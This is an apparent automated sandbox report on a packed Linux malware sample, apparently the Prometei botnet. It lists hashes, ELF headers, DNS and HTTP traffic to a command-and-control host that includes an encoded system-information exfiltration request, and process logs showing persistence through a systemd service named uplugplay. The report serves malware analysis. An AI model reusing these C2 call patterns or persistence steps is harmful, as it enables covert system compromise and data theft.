Preview:	.......a...\is...._...'...-R3.L....g.(.n..x ..X..C..._......R..~.!..{_ ....Gf8.....)N1..F...)...t.d.P..D.qA...o...o....C-0l..SCwz..C..:..N.P....A.7...r#b..}E..1G..zI....G...+.......,..Iq.Dd.Fe.....P.8Oh.g$F.+ ..&IJ...\|.s..QJ0=.#o%..E......1&..W.~...j..5..O.4.G8..-.......ScRH>..`.1..y\|...H.B..'E&...R...'...d....BS.ND4K..eD`..h.QLk..`...9M..yo. i.e.1...o.....`.w8.m.p. SBI.E.Mf.L).%..........^.04......y... r..-_...d...CH.\|h.._........;.......x..t&....j..$o.@.k5..`./.1cb.......p7..1. .......i.@..4....F.Z.....b..,..`:.$Nx..{..,...H..X..+..<....x.%..v.d..)....-....[.&1........'.$......e4...X..Z.H..~....O\.I.......3&.(.,.G...."..0pC.D.{A.K$..8......nz.{...z.e.fd;.K.@w]..C....M...>.".....F......}.r......L.Y....nO.x.'.................?Yy....?...8.xs.......[.......~~./.?of.A.V...M...1... .h...q......Z..`..A...]<..o.8...#k..G 3...e.S6.<k."L).h.d...4..E.s.o...8....0.@{...[.._..L]....9...9...+....,.I....'.<.i.x.!."...1..9...g..7H. .A5\|...." .D^$T 6....

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	7.942143720541711
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	wH04DSYf6g
File size:	426571
MD5:	7f24b753a82172370e9a74dc8b93b947
SHA1:	e493fe2adb307c188223f6d0a07dc0a4bd87ae13
SHA256:	5e86f91f275fbb9c9838125e6a00588328b7c856f757666bc887dff1e3e84b70
SHA512:	ae9c43663b6e692f42e3e2e94dde159de2b1e4d86b4dd97ff082939ad23de98aa4c3b55d8d7a7f1152fa931a830b87488a79aa18a739967ce682b1aef313ac88
SSDEEP:	12288:vuUGbSUQf6LndsBl8c7Imd7Bb7PfZwZfYEmvozMyV:vuuujdCr7X57HZwVEoN
File Content Preview:	.ELF..............>......pF.....@...................@.8...@.......................@.......@......y.......y................................F.......F.............................Q.td....................................................k&1FUPX!$........(...(.

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x467088
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	64
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x400000	0x400000	0x679a3	0x679a3	4.3374	0x5	R E	0x1000
LOAD	0x0	0x468000	0x468000	0x0	0xe1d498	0.0000	0x6	RW	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x10

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2022 00:30:51.616348028 CET	42836	443	192.168.2.23	91.189.91.43
Jan 26, 2022 00:30:51.872358084 CET	42516	80	192.168.2.23	109.202.202.202
Jan 26, 2022 00:31:07.494434118 CET	43928	443	192.168.2.23	91.189.91.42
Jan 26, 2022 00:31:07.980477095 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:08.992449999 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:11.008452892 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:15.168603897 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:17.728619099 CET	42836	443	192.168.2.23	91.189.91.43
Jan 26, 2022 00:31:21.824728966 CET	42516	80	192.168.2.23	109.202.202.202
Jan 26, 2022 00:31:23.360716105 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:39.488784075 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:39.511432886 CET	80	56830	88.198.246.242	192.168.2.23
Jan 26, 2022 00:31:39.511730909 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:39.512881041 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:39.585889101 CET	80	56830	88.198.246.242	192.168.2.23
Jan 26, 2022 00:31:48.448905945 CET	43928	443	192.168.2.23	91.189.91.42
Jan 26, 2022 00:32:08.897857904 CET	80	56830	88.198.246.242	192.168.2.23
Jan 26, 2022 00:32:08.898050070 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:08.898475885 CET	80	56830	88.198.246.242	192.168.2.23
Jan 26, 2022 00:32:08.898752928 CET	56830	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:08.922641993 CET	80	56830	88.198.246.242	192.168.2.23
Jan 26, 2022 00:32:11.191458941 CET	56832	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:11.215501070 CET	80	56832	88.198.246.242	192.168.2.23
Jan 26, 2022 00:32:11.215696096 CET	56832	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:11.217251062 CET	56832	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:11.291779995 CET	80	56832	88.198.246.242	192.168.2.23
Jan 26, 2022 00:32:44.545099974 CET	80	56832	88.198.246.242	192.168.2.23
Jan 26, 2022 00:32:44.545361996 CET	80	56832	88.198.246.242	192.168.2.23
Jan 26, 2022 00:32:44.545464039 CET	56832	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:44.546416044 CET	56832	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:44.568166971 CET	80	56832	88.198.246.242	192.168.2.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2022 00:31:07.960674047 CET	47424	53	192.168.2.23	8.8.8.8
Jan 26, 2022 00:31:07.979444981 CET	53	47424	8.8.8.8	192.168.2.23
Jan 26, 2022 00:31:40.275701046 CET	45621	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:40.298778057 CET	80	45621	88.198.246.242	192.168.2.23
Jan 26, 2022 00:31:44.299160957 CET	45621	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:31:44.505693913 CET	45621	80	192.168.2.23	88.198.246.242
Jan 26, 2022 00:32:11.172491074 CET	33142	53	192.168.2.23	8.8.8.8
Jan 26, 2022 00:32:11.191270113 CET	53	33142	8.8.8.8	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 26, 2022 00:31:07.960674047 CET	192.168.2.23	8.8.8.8	0x14e2	Standard query (0)	p3.feefreepool.net	A (IP address)	IN (0x0001)
Jan 26, 2022 00:32:11.172491074 CET	192.168.2.23	8.8.8.8	0x14e2	Standard query (0)	p3.feefreepool.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 26, 2022 00:31:07.979444981 CET	8.8.8.8	192.168.2.23	0x14e2	No error (0)	p3.feefreepool.net		88.198.246.242	A (IP address)	IN (0x0001)
Jan 26, 2022 00:32:11.191270113 CET	8.8.8.8	192.168.2.23	0x14e2	No error (0)	p3.feefreepool.net		88.198.246.242	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

p3.feefreepool.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	56830	88.198.246.242	80

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 00:31:39.512881041 CET	1	OUT	GET /cgi-bin/prometei.cgi?r=16&i=3CL80UN6USPBIKPL HTTP/1.0 Host: p3.feefreepool.net
Jan 26, 2022 00:32:08.897857904 CET	1	IN	HTTP/1.1 200 OK Date: Tue, 25 Jan 2022 23:32:12 GMT Server: Apache/2.2.8 (Win32) mod_ssl/2.2.8 OpenSSL/0.9.8g PHP/5.2.6 Content-Length: 7 Connection: close Content-Type: text/html; charset=windows-1251 Data Raw: 73 79 73 69 6e 66 6f Data Ascii: sysinfo

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	56832	88.198.246.242	80

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 00:32:11.217251062 CET	3	OUT	GET /cgi-bin/prometei.cgi?add=aW5mbyB7DQp2My4wM0xfVW5peDY0QE04MVkwSTFJUThCM1IyWk5IDQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCg0KDQoNCg0KDQpVYnVudHUgJiAyMC4wNC4yIExUUyAoRm9jYWwgRm9zc2EpIA0KDQovdXNyL3NiaW4vDQogMDA6MzI6MTAgdXAgOCBtaW4sICAxIHVzZXIsICBsb2FkIGF2ZXJhZ2U6IDEuMjUsIDEuMDAsIDAuNDQNCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=3CL80UN6USPBIKPL&h=galassia&enckey=IOSYHkwME8bi6/jLvuCPV/tfJqXRHQ9zLxQPHHa6U5VQJn9+vO5bHgxy2wkBcIlMEYPYySh48xKUf83lQqyO9rgI+4aerWWBy82LBbvq00Z/H6GUuGnw4aPYQCCQRKylyx4be3IDtu12gkpCqs+rSkT4GvcZrH96zUKPzeSznRE= HTTP/1.0 Host: p3.feefreepool.net
Jan 26, 2022 00:32:44.545099974 CET	3	IN	HTTP/1.1 200 OK Date: Tue, 25 Jan 2022 23:32:48 GMT Server: Apache/2.2.8 (Win32) mod_ssl/2.2.8 OpenSSL/0.9.8g PHP/5.2.6 Content-Length: 3 Connection: close Content-Type: text/html; charset=windows-1251 Data Raw: 6f 6b 21 0d 0a 43 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 0a 0a Data Ascii: ok!Content-type: text/html; charset=windows-1251

System Behavior

Analysis Process: systemd PID: 5195, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: logrotate PID: 5195, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/sbin/logrotate
Arguments:	/usr/sbin/logrotate /etc/logrotate.conf
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Chronological Activities

Analysis Process: logrotate PID: 5258, Parent PID: 5195

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Chronological Activities

Analysis Process: gzip PID: 5258, Parent PID: 5195

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/bin/gzip
Arguments:	/bin/gzip
File size:	97496 bytes
MD5 hash:	beef4e1f54ec90564d2acd57c0b0c897

Chronological Activities

Analysis Process: logrotate PID: 5259, Parent PID: 5195

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Chronological Activities

Analysis Process: sh PID: 5259, Parent PID: 5195

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5260, Parent PID: 5259

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: invoke-rc.d PID: 5260, Parent PID: 5259

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	invoke-rc.d --quiet cups restart
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: invoke-rc.d PID: 5261, Parent PID: 5260

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: runlevel PID: 5261, Parent PID: 5260

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/sbin/runlevel
Arguments:	/sbin/runlevel
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: invoke-rc.d PID: 5262, Parent PID: 5260

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5262, Parent PID: 5260

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-enabled cups.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: invoke-rc.d PID: 5264, Parent PID: 5260

General

Start time:	00:30:47
Start date:	26/01/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ls PID: 5264, Parent PID: 5260

General

Start time:	00:30:47
Start date:	26/01/2022
Path:	/usr/bin/ls
Arguments:	ls /etc/rc[S2345].d/S[0-9][0-9]cups
File size:	142144 bytes
MD5 hash:	e7793f15c2ff7e747b4bc7079f5cd4f7

Chronological Activities

Analysis Process: invoke-rc.d PID: 5266, Parent PID: 5260

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5266, Parent PID: 5260

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active cups.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: logrotate PID: 5267, Parent PID: 5195

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Chronological Activities

Analysis Process: gzip PID: 5267, Parent PID: 5195

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/bin/gzip
Arguments:	/bin/gzip
File size:	97496 bytes
MD5 hash:	beef4e1f54ec90564d2acd57c0b0c897

Chronological Activities

Analysis Process: logrotate PID: 5268, Parent PID: 5195

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Chronological Activities

Analysis Process: sh PID: 5268, Parent PID: 5195

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5269, Parent PID: 5268

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rsyslog-rotate PID: 5269, Parent PID: 5268

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/usr/lib/rsyslog/rsyslog-rotate
Arguments:	/usr/lib/rsyslog/rsyslog-rotate
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rsyslog-rotate PID: 5270, Parent PID: 5269

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/usr/lib/rsyslog/rsyslog-rotate
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5270, Parent PID: 5269

General

Start time:	00:30:48
Start date:	26/01/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl kill -s HUP rsyslog.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5196, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: install PID: 5196, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/bin/install
Arguments:	/usr/bin/install -d -o man -g man -m 0755 /var/cache/man
File size:	158112 bytes
MD5 hash:	55e2520049dc6a62e8c94732e36cdd54

Chronological Activities

Analysis Process: systemd PID: 5257, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: find PID: 5257, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/bin/find
Arguments:	/usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete
File size:	320160 bytes
MD5 hash:	b68ef002f84cc54dd472238ba7df80ab

Chronological Activities

Analysis Process: systemd PID: 5263, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: mandb PID: 5263, Parent PID: 1

General

Start time:	00:30:46
Start date:	26/01/2022
Path:	/usr/bin/mandb
Arguments:	/usr/bin/mandb --quiet
File size:	142432 bytes
MD5 hash:	1dda5ea0027ecf1c2db0f5a3de7e6941

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5278, Parent PID: 5116

General

Start time:	00:30:50
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	/tmp/wH04DSYf6g
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5281, Parent PID: 5278

General

Start time:	00:30:50
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5281, Parent PID: 5278

General

Start time:	00:30:50
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "pgrep wH04DSYf6g"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5282, Parent PID: 5281

General

Start time:	00:30:50
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pgrep PID: 5282, Parent PID: 5281

General

Start time:	00:30:50
Start date:	26/01/2022
Path:	/usr/bin/pgrep
Arguments:	pgrep wH04DSYf6g
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5286, Parent PID: 5278

General

Start time:	00:30:51
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5286, Parent PID: 5278

General

Start time:	00:30:51
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "pidof wH04DSYf6g"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5287, Parent PID: 5286

General

Start time:	00:30:52
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pidof PID: 5287, Parent PID: 5286

General

Start time:	00:30:52
Start date:	26/01/2022
Path:	/usr/bin/pidof
Arguments:	pidof wH04DSYf6g
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5290, Parent PID: 5278

General

Start time:	00:30:52
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5290, Parent PID: 5278

General

Start time:	00:30:52
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "pgrep uplugplay"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5291, Parent PID: 5290

General

Start time:	00:30:52
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pgrep PID: 5291, Parent PID: 5290

General

Start time:	00:30:52
Start date:	26/01/2022
Path:	/usr/bin/pgrep
Arguments:	pgrep uplugplay
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5294, Parent PID: 5278

General

Start time:	00:30:53
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5294, Parent PID: 5278

General

Start time:	00:30:53
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "pidof uplugplay"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5295, Parent PID: 5294

General

Start time:	00:30:54
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pidof PID: 5295, Parent PID: 5294

General

Start time:	00:30:54
Start date:	26/01/2022
Path:	/usr/bin/pidof
Arguments:	pidof uplugplay
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5298, Parent PID: 5278

General

Start time:	00:30:54
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5298, Parent PID: 5278

General

Start time:	00:30:54
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "pgrep upnpsetup"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5299, Parent PID: 5298

General

Start time:	00:30:54
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pgrep PID: 5299, Parent PID: 5298

General

Start time:	00:30:54
Start date:	26/01/2022
Path:	/usr/bin/pgrep
Arguments:	pgrep upnpsetup
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5304, Parent PID: 5278

General

Start time:	00:30:55
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5304, Parent PID: 5278

General

Start time:	00:30:55
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "pidof upnpsetup"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5305, Parent PID: 5304

General

Start time:	00:30:56
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pidof PID: 5305, Parent PID: 5304

General

Start time:	00:30:56
Start date:	26/01/2022
Path:	/usr/bin/pidof
Arguments:	pidof upnpsetup
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5306, Parent PID: 5278

General

Start time:	00:30:58
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5306, Parent PID: 5278

General

Start time:	00:30:58
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5307, Parent PID: 5306

General

Start time:	00:30:59
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5307, Parent PID: 5306

General

Start time:	00:30:59
Start date:	26/01/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5313, Parent PID: 5278

General

Start time:	00:31:00
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5313, Parent PID: 5278

General

Start time:	00:31:00
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "systemctl enable uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5324, Parent PID: 5313

General

Start time:	00:31:01
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5324, Parent PID: 5313

General

Start time:	00:31:01
Start date:	26/01/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl enable uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: wH04DSYf6g PID: 5329, Parent PID: 5278

General

Start time:	00:31:04
Start date:	26/01/2022
Path:	/tmp/wH04DSYf6g
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5329, Parent PID: 5278

General

Start time:	00:31:04
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "systemctl start uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5330, Parent PID: 5329

General

Start time:	00:31:04
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5330, Parent PID: 5329

General

Start time:	00:31:04
Start date:	26/01/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl start uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5311, Parent PID: 5310

General

Start time:	00:31:00
Start date:	26/01/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5311, Parent PID: 5310

General

Start time:	00:31:00
Start date:	26/01/2022
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5327, Parent PID: 5326

General

Start time:	00:31:04
Start date:	26/01/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5327, Parent PID: 5326

General

Start time:	00:31:04
Start date:	26/01/2022
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5334, Parent PID: 1

General

Start time:	00:31:06
Start date:	26/01/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
